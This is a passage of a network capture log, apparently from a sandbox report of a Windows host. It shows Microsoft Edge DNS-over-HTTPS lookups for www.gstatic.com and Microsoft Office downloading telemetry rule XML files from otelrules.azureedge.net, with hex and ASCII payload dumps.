Ascii: wwwgstaticcom@C)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.6	49841	162.159.61.3	443	6828	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 16:24:40 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-28 16:24:40 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-28 16:24:40 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Thu, 28 Nov 2024 16:24:40 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e9bb5a55be6c32c-EWR alt-svc: h3=":443"; ma=86400
2024-11-28 16:24:40 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 05 00 04 8e fa 50 43 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomPC)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.6	49856	162.159.61.3	443	6828	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 16:24:40 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-28 16:24:40 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.6	49857	162.159.61.3	443	6828	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 16:24:41 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-28 16:24:41 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.6	49854	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 16:24:41 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 16:24:41 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 16:24:41 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: dcf51672-d01e-005a-5c91-3f7fd9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T162441Z-174f7845968xr5c2hC1EWRd0hn0000000fm000000000432e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 16:24:41 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.6	49858	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 16:24:41 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 16:24:42 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 16:24:42 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: 5cf18767-601e-000d-7d91-3f2618000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T162442Z-174f7845968pf68xhC1EWRr4h80000000z000000000037cb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 16:24:42 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.6	49859	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 16:24:41 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 16:24:42 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 16:24:42 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: 7af319f3-d01e-0017-6a91-3fb035000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T162442Z-174f7845968kdththC1EWRzvxn0000000b10000000008rtz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 16:24:42 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.6	49861	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 16:24:41 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 16:24:42 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 16:24:42 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: 1bb9e0d7-001e-0079-5e65-4012e8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T162442Z-174f7845968pf68xhC1EWRr4h80000000yz000000000579w x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 16:24:42 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.6	49860	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 16:24:41 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 16:24:42 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 16:24:42 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: 953c006d-601e-0070-3311-41a0c9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T162442Z-174f78459685726chC1EWRsnbg0000000yq000000000bwex x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 16:24:42 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.6	49864	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 16:24:43 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 16:24:44 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 16:24:44 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: 91facc7f-401e-0064-1f3e-4054af000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T162444Z-174f7845968l4kp6hC1EWRe8840000000ywg00000000aes1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 16:24:44 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.6	49867	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 16:24:44 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 16:24:44 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 16:24:44 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: f8173c42-001e-0046-693b-40da4b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T162444Z-174f7845968zgtf6hC1EWRqd8s0000000rh000000000ghwt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 16:24:44 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.6	49866	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 16:24:44 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 16:24:44 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 16:24:44 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: fcd7fe31-301e-0033-0c91-3ffa9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T162444Z-174f7845968n2hr8hC1EWR9cag0000000yb000000000730m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 16:24:44 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.6	49868	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 16:24:44 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 16:24:44 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 16:24:44 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: dce0685f-701e-001e-3f83-3ff5e6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T162444Z-174f7845968swgbqhC1EWRmnb40000000ywg000000004kbf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 16:24:44 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.6	49869	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 16:24:44 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 16:24:44 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 16:24:44 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: 02827f85-001e-00ad-7091-3f554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T162444Z-174f7845968kvnqxhC1EWRmf3g0000000hdg00000000dueg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 16:24:44 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

